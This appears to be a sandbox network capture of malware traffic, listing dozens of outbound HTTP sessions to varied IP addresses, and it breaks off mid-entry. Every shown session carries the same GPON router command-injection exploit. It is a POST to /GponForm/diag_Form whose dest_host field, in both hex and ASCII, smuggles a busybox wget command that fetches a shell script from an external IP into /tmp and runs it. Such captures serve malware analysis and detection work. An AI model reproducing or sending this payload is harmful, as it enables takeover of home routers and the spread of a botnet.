Mar 21, 2024 05:25:13.973731995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.23	51062	109.168.59.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973733902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.23	47364	37.250.130.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973736048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.23	47642	178.30.228.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973776102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.23	38386	109.4.130.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973792076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.23	32876	37.229.153.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978117943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.23	55956	2.221.240.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978147984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.23	43338	212.123.74.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978161097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.23	50920	118.179.158.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978176117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.23	44314	118.202.245.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978205919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.23	38644	79.208.59.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978225946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.23	36296	118.108.112.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978233099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.23	43702	37.120.7.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978233099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.23	45540	79.114.112.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:16.978260994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.23	60328	37.105.2.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:19.987416029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.23	41762	37.200.15.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:19.987451077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.23	43262	42.222.122.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:19.987461090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.23	42854	178.9.24.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995570898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.23	47954	5.51.26.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995587111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.23	32978	109.189.162.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995592117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.23	53344	79.215.169.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995595932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.23	56944	118.2.16.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995605946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.23	48454	94.59.242.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995620012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.23	58444	79.224.51.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995623112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.23	36200	94.141.77.226	443

Timestamp	Bytes transferred	Direction	Data
